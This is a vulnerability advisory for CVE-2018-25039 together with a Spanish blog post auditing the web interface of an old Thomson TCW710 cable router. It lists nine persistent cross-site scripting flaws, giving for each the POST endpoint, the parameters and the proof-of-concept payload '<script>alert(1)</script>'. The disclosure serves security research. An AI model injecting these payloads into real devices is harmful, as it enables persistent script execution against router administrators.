Headline
CVE-2018-25039: Auditando router thomson tcw710 | Alquimista de sistemas
A vulnerability was found in Thomson TCW710 ST5D.10.05. It has been declared as problematic. This vulnerability affects unknown code of the file /goform/RgUrlBlock.asp. The manipulation of the argument BasicParentalNewKeyword with the input ><script>alert(1)</script> as part of POST Request leads to cross site scripting (Persistent). The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
Este route SOHO era el que te instalaban cuando estaba ONO allà por el 2007. Es un router ya antiguo, sin un uso a nivel de empresas, pero sigue vendiendose en webs de segundamano, no sé si como objeto ya de colección antiguo. Como uno de tantos apartaos que tengo por casa a este se me ocurrio realizarlee una pequeña auditoria a su interfa web.
Info del dispositivo
- Marca: Thomson
- Modelo: TCW710
- Hardware version: 5.0
- Software version: ST5D.10.05
Resumen
Al ser un modelo antiguo encontré que todos los campos donde se podia introducir texto se podía realizar un xss injection que en este caso son persistentes.
Artefactos encontrados
XSS Persistente 1
El primer XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/wlanPrimaryNetwork
- Tipo: POST
Parametro
Tipo
Valor
Inyectable
Payload
ServiceSetIdentifier
String
Sí
<script>alert(1)</script>
ClosedNetwork
bool
0
No
WpaPskAuth
bool
1
No
Wpa2PskAuth
bool
1
No
WpaEncryption
integer
3
No
WpaPreSharedKey
String
123456789qwerty
?
WpaReKeyInterval
integer
0
No
GenerateWepKey
bool
0
No
WepKeysGenerated
bool
0
No
commitwlanPrimaryNetwork
bool
1
No
XSS Persistente 2 y 3
El segundo y tercero XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/RGFirewallEL
- Tipo: POST
Parametro
Tipo
Valor
Inyectable
Payload
EmailAddress
String
aaaa
Yes
<script>alert(1)</script>
SmtpServerName
String
aaaa
Yes
<script>alert(1)</script>
LogAction
bool
0
No
XSS Persistente 4, 5 y 6
El cuarto, quito y sexto XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/RgTime
- Tipo: POST
Parametro
Tipo
Valor
Inyectable
Payload
TimeSntpDisable
Integer
2
No
TimeServer1
String
aaaa
Yes
<script>alert(1)</script>
TimeServer2
String
aaaa
Yes
<script>alert(1)</script>
TimeServer3
String
aaaa
Yes
<script>alert(1)</script>
TimeZoneOfsetHrs
Integer
0
No
TimeZoneOfsetMins
Integer
0
No
ResetSntpDefaults
bool
0
No
XSS Persistente 7
El septimo XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/RgDdns
- Tipo: POST
Parametro
Tipo
Valor
Inyectable
Payload
DdnsService
bool
0
No
DdnsUserName
String
aaaa
No
DdnsPassword
String
aaaa
No
DdnsHostName
String
aaaa
Yes
<script>alert(1)</script>
XSS Persistente 8
El octavo XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/RgDhcp
- Tipo: POST
Parametro
Tipo
Valor
Inyectable
Payload
WanConnectionType
Integer
2
No
PppUserName
String
aaaa
Yes
<script>alert(1)</script>
PppPassword
String
aaaa
No
Mtu
Integer
0
No
PptpL2tpServer
String
aaaa
No
SpoofedMacAddressMA0
String
00
No
SpoofedMacAddressMA1
String
00
No
SpoofedMacAddressMA2
String
00
No
SpoofedMacAddressMA3
String
00
No
SpoofedMacAddressMA4
String
00
No
SpoofedMacAddressMA5
String
00
No
XSS Persistente 9
El noveno XSS persistente lo encontramos en la siguiente petición:
- URL: /goform/RgUrlBlock.asp
- Tipo: POST
Parametro
Tipo
Valor
Inyectable
Payload
BasicParentalNewKeyword
String
aaaa
Yes
<script>alert(1)</script>
BasicPaentalKeywordAction
Integer
1
No
BasicParentalNewdomain
String
aaaa
No
BasicParetalDomainAction
Integer
0
No